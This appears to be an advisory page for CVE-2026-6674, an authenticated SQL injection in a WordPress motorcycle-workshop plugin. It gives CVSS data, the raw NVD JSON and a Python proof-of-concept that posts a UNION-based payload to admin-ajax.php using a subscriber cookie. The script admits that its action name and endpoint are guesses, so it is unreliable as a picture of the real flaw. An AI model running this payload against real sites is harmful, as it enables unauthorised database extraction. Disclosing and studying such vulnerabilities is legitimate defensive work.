Security Vulnerability Report
中文
CVE-2026-6674 CVSS 6.5 MEDIUM

CVE-2026-6674

Published: 2026-04-21 03:16:09
Last Modified: 2026-04-22 20:22:51

Description

The Plugin: CMS für Motorrad Werkstätten plugin for WordPress is vulnerable to SQL Injection via the 'arttype' parameter in all versions up to, and including, 1.0.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

CMS für Motorrad Werkstätten <= 1.0.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept (PoC) for CVE-2026-6674 # This script demonstrates the SQL Injection vulnerability via 'arttype' parameter. # Note: Requires valid authentication cookies (Subscriber level or higher). import requests def exploit_sql_injection(target_url, session_cookie): """ Attempts to exploit the SQL injection vulnerability in the arttype parameter. """ # The vulnerable endpoint is typically within the plugin's logic, often mapped to a specific action. # Based on the reference to cfmw-positions.php, we target a likely endpoint. full_url = f"{target_url}/wp-admin/admin-ajax.php" # Payload to extract database version using SQL Injection # Adjust the payload based on the exact query structure (UNION based injection assumed) payload = { "action": "some_vulnerable_action", # Replace with actual action name if known "arttype": "1' UNION SELECT 1, 2, version(), 4-- -" } headers = { "Cookie": f"wordpress_logged_in_{session_cookie['hash']}={session_cookie['value']}" } try: response = requests.post(full_url, data=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response content (check for DB version):") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Example usage target = "http://example.com" # dummy cookie representing a logged-in subscriber cookie = {"hash": "12345", "value": "admin|1234567890|..."} exploit_sql_injection(target, cookie)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-6674", "sourceIdentifier": "[email protected]", "published": "2026-04-21T03:16:09.070", "lastModified": "2026-04-22T20:22:50.570", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Plugin: CMS für Motorrad Werkstätten plugin for WordPress is vulnerable to SQL Injection via the 'arttype' parameter in all versions up to, and including, 1.0.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/cms-fuer-motorrad-werkstaetten/tags/1.0.0/includes/cfmw-positions.php#L202", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/cms-fuer-motorrad-werkstaetten/tags/1.0.0/includes/cfmw-positions.php#L207", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/cms-fuer-motorrad-werkstaetten/trunk/includes/cfmw-positions.php#L202", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/cms-fuer-motorrad-werkstaetten/trunk/includes/cfmw-positions.php#L207", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/af4bd5f6-4f0e-4035-8544-48154a05cef1?source=cve", "source": "[email protected]"}]}}